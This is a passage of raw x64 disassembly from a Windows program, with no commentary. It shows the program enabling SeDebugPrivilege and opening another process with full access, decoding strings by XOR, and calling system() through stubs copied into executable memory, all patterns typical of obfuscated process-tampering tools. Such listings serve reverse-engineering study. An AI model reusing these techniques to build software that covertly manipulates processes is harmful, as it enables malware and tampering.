shr rdx, 0x20
add edx, 0x7fffff9c
lea eax, [rdx + r13]
lea ecx, [rdx - 0x80000000]
cmp edx, r13d
cmovae ecx, eax
mov eax, dword [rbp + 0x5648]
sub eax, ecx
mov dword [rbp + 0x5648], eax
mov eax, dword [rbp + 0x5648]
cdq
idiv edi
mov dword [rbp + 0x5648], eax
mov eax, dword [rbp + 0x5648]
cdq
idiv edi
mov dword [rbp + 0x5648], edx
sub r14, rsi
jne 0x140027760
movabs r14, 0xb2f4fc0794908cf3
jmp 0x1400276a7
mov eax, dword [rbp + 0x5648]
mov dword [0x1400f0630], eax
mov ecx, r12d
call fcn.1400194e0
test al, al
mov esi, 0
jne 0x140027c59
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n___
lea rcx, [rbp + 0x38]
call fcn.1400155c0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x38]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x90]
call fcn.1400134f0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x90]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140093660]
lea rcx, [rbp + 0x80]
call fcn.1400155c0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x80]
call fcn.140017650
movups xmm0, xmmword [str.bA_VSDK]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x1400935f8]
movsd qword [rbp + 0x10], xmm0
movzx eax, byte [0x140093600]
mov byte [rbp + 0x18], al
mov r8d, esi
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140027b6d
movdqa xmm5, xmmword [0x140094cf0]
movdqa xmm4, xmmword [0x140094e10]
movdqa xmm6, xmmword [0x140094d10]
movdqa xmm0, xmmword [0x140094dd0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 4]
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140094d80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140094d80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140027a60
cmp r8d, 0x19
jge 0x140027bb3
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140027b80
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], rsi
lea rax, [rbp]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140027bd0
lea rdx, [rbp]
lea rcx, [rbp - 0x20]
call fcn.14000cc40
nop
mov rbx, qword [rbp - 8]
mov rdi, qword [rbp - 0x20]
mov r14, qword [rbp - 0x10]
test r14, r14
je 0x140027c2f
nop dword [rax]
lea rdx, [rbp - 0x20]
cmp rbx, 0xf
cmova rdx, rdi
movzx edx, byte [rdx + rsi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000c480
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rsi
cmp rsi, r14
jne 0x140027c00
cmp rbx, 0xf
jbe 0x140027c44
mov r8, rbx
mov rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.14001bfc0
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0xffffffff
jmp 0x140028cf0
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x78], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x78]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140027cdc
mov ecx, 1
mov dword [rbp + 0x200], ecx
mov dword [rbp + 0x20c], 2
lea r8, [rbp + 0x204]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140027cd2
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x200]
xor edx, edx
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r12d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r12, rax
mov qword [rbp - 0x60], rax
test rax, rax
jne 0x140027d54
call qword [sym.imp.KERNEL32.dll_GetLastError]
movdqa xmm0, xmmword [0x140094dc0]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [str.___6_f]
movdqu xmmword [rbp - 0x40], xmm1
mov byte [rbp - 0x30], 1
nop dword [rax]
lea ecx, [rsi + 0x4b]
xor byte [rbp + rsi - 0x50], cl
inc rsi
cmp rsi, 0x1f
jb 0x140027d20
mov byte [rbp - 0x30], 0
mov edx, eax
lea rcx, [rbp - 0x50]
call fcn.140009940
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0xfffffffe
jmp 0x140028cf0
lea rdi, [rbp + 0x5628]
mov rbx, qword [rdi]
mov qword [rdi], rsi
mov dword [rbp + 0x24], esi
lea rdx, [rbp + 0x24]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
jne 0x140027deb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
movdqa xmm0, xmmword [0x140094de0]
movdqu xmmword [rbp + 0x410], xmm0
movdqa xmm1, xmmword [0x140094d90]
movdqu xmmword [rbp + 0x420], xmm1
movdqa xmm0, xmmword [0x140094df0]
movdqu xmmword [rbp + 0x430], xmm0
mov word [rbp + 0x440], 0x100
mov rcx, rsi
nop dword [rax]
lea eax, [rcx + 0x4b]
xor byte [rbp + rcx + 0x410], al
inc rcx
cmp rcx, 0x30
jb 0x140027dc0
mov byte [rbp + 0x441], sil
lea rcx, [rbp + 0x410]
call fcn.140009940
mov qword [rdi], rbx
jmp 0x140027e11
mov dword [rbp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [rbp + 0x20]
cmp dword [rbp + 0x24], eax
sete al
mov qword [rdi], rbx
test al, al
jne 0x140027e7b
movdqa xmm0, xmmword [0x140094db0]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x140094da0]
movdqu xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0x64430919
mov word [rbp - 0x2c], 0x100
nop dword [rax + rax]
lea eax, [rsi + 0x4b]
xor byte [rbp + rsi - 0x50], al
inc rsi
cmp rsi, 0x24
jb 0x140027e40
mov byte [rbp - 0x2b], 0
lea rcx, [rbp - 0x50]
call fcn.140009940
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0xfffffffd
jmp 0x140028cf0
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov edx, eax
lea rcx, [rbp + 0x4260]
call fcn.1400162b0
mov dword [rbp + 0x5648], esi
lea rcx, [rbp + 0x2b8]
call fcn.140021250
mov r15, qword [rbp + 0x2b8]
add r15, 0x5f5e100
mov r12d, 0x80000000
mov r13d, 1
nop word [rax + rax]
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
mov rcx, rax
cmp rbx, 0x989680
jne 0x140027edf
imul rax, rcx, 0x64
jmp 0x140027f4e
cmp rbx, 0x16e3600
jne 0x140027f33
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140027f4e
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r15
jge 0x140028168
lea rax, [rbp + 0x4260]
mov qword [rbp + 0xe0], rax
lea rax, [rbp + 0x4260]
mov qword [rbp + 0xd8], rax
mov r14d, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0xe0]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x63
ja 0x140027fba
nop word [rax + rax]
lea rcx, [rbp + 0xe0]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x140027fa0
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0xd8]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
mov edi, ebx
cmp ecx, 0xc9
jae 0x14002801a
cmp ecx, 0x64
jae 0x14002801a
nop
lea rcx, [rbp + 0xd8]
call fcn.14001c500
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x140028000
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x5648]
add edx, eax
mov dword [rbp + 0x5648], edx
lea rax, [rbp + 0x4260]
mov qword [rbp + 0xc8], rax
lea rcx, [rbp + 0xc8]
call fcn.14001c500
mov eax, eax
imul rax, rax, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x14002808d
cmp eax, 0x64
jae 0x14002808d
lea rcx, [rbp + 0xc8]
call fcn.14001c500
mov eax, eax
imul rax, rax, 0xc9
cmp eax, 0x64
jb 0x140028073
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 0x5648]
imul edx, eax
mov dword [rbp + 0x5648], edx
lea rax, [rbp + 0x4260]
mov qword [rbp + 0xd0], rax
lea rcx, [rbp + 0xd0]
call fcn.14001c500
mov eax, eax
imul rdx, rax, 0xc9
mov edi, ebx
cmp edx, 0xc9
jae 0x14002810a
cmp edx, 0x64
jae 0x14002810a
nop dword [rax + rax]
lea rcx, [rbp + 0xd0]
call fcn.14001c500
mov eax, eax
imul rdx, rax, 0xc9
cmp edx, 0x64
jb 0x1400280f0
shr rdx, 0x20
add edx, 0x7fffff9c
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 0x5648]
sub eax, ecx
mov dword [rbp + 0x5648], eax
mov eax, dword [rbp + 0x5648]
cdq
idiv edi
mov dword [rbp + 0x5648], eax
mov eax, dword [rbp + 0x5648]
cdq
idiv edi
mov dword [rbp + 0x5648], edx
sub r14, r13
jne 0x140027f80
movabs r14, 0xb2f4fc0794908cf3
jmp 0x140027ec0
mov eax, dword [rbp + 0x5648]
mov dword [0x1400f0630], eax
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_n___
lea rcx, [rbp + 0x38]
call fcn.1400155c0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x38]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14009365c]
lea rcx, [rbp + 0x90]
call fcn.1400154e0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x90]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140093660]
lea rcx, [rbp + 0x80]
call fcn.1400155c0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x80]
call fcn.140017650
movups xmm0, xmmword [str.bAQFE]
movups xmmword [rbp + 0xa0], xmm0
movsd xmm0, qword [0x140093618]
movsd qword [rbp + 0xb0], xmm0
mov eax, dword [0x140093620]
mov dword [rbp + 0xb8], eax
movzx eax, byte [0x140093624]
mov byte [rbp + 0xbc], al
mov r8d, esi
mov edi, dword [reloc.WS2_32.dll_accept]
cmp edi, 2
mov r12, qword [rbp - 0x60]
mov r13d, 3
jl 0x14002839d
movdqa xmm5, xmmword [0x140094cf0]
movdqa xmm4, xmmword [0x140094e10]
movdqa xmm6, xmmword [0x140094d10]
movdqa xmm0, xmmword [0x140094dd0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140094d80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140094d80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140028290
cmp r8d, 0x1d
jge 0x1400283e3
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x1400283b0
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x50]
call fcn.140015e00
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp - 0x50]
call fcn.140024510
nop
lea rcx, [rbp - 0x50]
call fcn.140017280
movsd xmm0, qword [str.BRAFS]
movsd qword [rbp + 0x28], xmm0
movzx eax, word [0x140093630]
mov word [rbp + 0x30], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x32], al
lea rax, [rbp + 0x5628]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 8], rcx
mov qword [rbp + 0x10], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1400f0f90]
lea r15, [0x140000000]
lea r14, [0x14000cab0]
test rax, rax
je 0x14002849c
mov rdx, rsi
cmp rax, r14
je 0x14002848b
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0xf0f90]
test rax, rax
jne 0x140028473
jmp 0x14002849c
mov r8, qword [r15 + rdx*8 + 0xf12b0]
test r8, r8
jne 0x14002857f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400284c3
mov r8, rsi
jmp 0x14002855e
mov rax, r14
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400284d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400f0f80]
mov qword [r15 + rax*8 + 0xf0f90], r14
mov qword [r15 + rax*8 + 0xf12b0], r8
inc rax
mov qword [0x1400f0f80], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
mov dword [rbp - 0x28], Ordinal_301
mov dword [rsp + 0x64], 0x1f4
lea rax, [rbp + 0x5628]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 8], rcx
mov qword [rbp + 0x10], rax
mov qword [rbp], rbx
mov qword [rax], rsi
mov ecx, esi
lea r14, [0x14000ca40]
mov rax, qword [0x1400f15e0]
test rax, rax
je 0x1400285fe
mov rdx, rsi
cmp rax, r14
je 0x1400285ed
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0xf15e0]
test rax, rax
jne 0x1400285d5
jmp 0x1400285fe
mov r9, qword [r15 + rdx*8 + 0xf1900]
test r9, r9
jne 0x1400286df
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x140028625
mov r9, rsi
jmp 0x1400286be
mov rax, r14
mov rcx, r9
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140028630
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400f15d0]
mov qword [r15 + rax*8 + 0xf15e0], r14
mov qword [r15 + rax*8 + 0xf1900], r9
inc rax
mov qword [0x1400f15d0], rax
lea r8, [rbp - 0x28]
lea rdx, [rsp + 0x64]
mov rcx, qword [sym.imp.KERNEL32.dll_Beep]
call r9
nop
mov dword [rsp + 0x64], 0x5dc
lea r15, [rbp + 0x5628]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], r15
mov qword [rbp], rbx
mov qword [r15], rsi
mov ecx, esi
lea r14, [0x14000cb20]
mov rax, qword [0x1400f1c30]
test rax, rax
je 0x140028769
mov rdx, rsi
lea r10, [0x140000000]
nop word [rax + rax]
cmp rax, r14
je 0x140028758
inc ecx
mov edx, ecx
mov rax, qword [r10 + rcx*8 + 0xf1c30]
test rax, rax
jne 0x140028740
jmp 0x140028769
mov r10, qword [r10 + rdx*8 + 0xf1f50]
test r10, r10
jne 0x140028856
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140028790
mov r10, rsi
jmp 0x14002882e
mov rax, r14
mov rcx, r10
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r13, 1
jne 0x1400287a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400f1c20]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0xf1c30], r14
mov qword [rcx + rax*8 + 0xf1f50], r10
inc rax
mov qword [0x1400f1c20], rax
lea rdx, [rsp + 0x64]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r10
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
mov qword [r15], rbx
mov dword [rsp + 0x5c], 0x7778787b
mov dword [rsp + 0x60], 0x100627e
mov rdx, rsi
nop dword [rax]
lea eax, [rdx + 0x4b]
xor byte [rsp + rdx + 0x5c], al
inc rdx
cmp rdx, 6
jb 0x140028890
mov byte [rsp + 0x63], 0
lea rdx, [rsp + 0x5c]
lea rcx, [rbp + 0x248]
call fcn.140015e00
mov r8, rax
lea rdx, [rbp + 0x210]
lea rcx, [0x1400f06c0]
call fcn.1400323c0
nop
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n___
lea rcx, [rbp + 0x278]
call fcn.1400155c0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x278]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140093664]
lea rcx, [rbp + 0x268]
call fcn.1400115d0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x268]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140093660]
lea rcx, [rbp + 0x1d0]
call fcn.1400155c0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x1d0]
call fcn.140017650
movups xmm0, xmmword [str.Q_QTB]
movups xmmword [rbp + 0x38], xmm0
movzx eax, word [0x140093648]
mov word [rbp + 0x48], ax
cmp byte [0x140093649], 0
je 0x140028b13
mov r8d, esi
cmp edi, 2
jl 0x140028ace
movdqa xmm5, xmmword [0x140094cf0]
movdqa xmm4, xmmword [0x140094e10]
movdqa xmm6, xmmword [0x140094d10]
movdqa xmm0, xmmword [0x140094dd0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x3c]
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140094d80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140094d80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
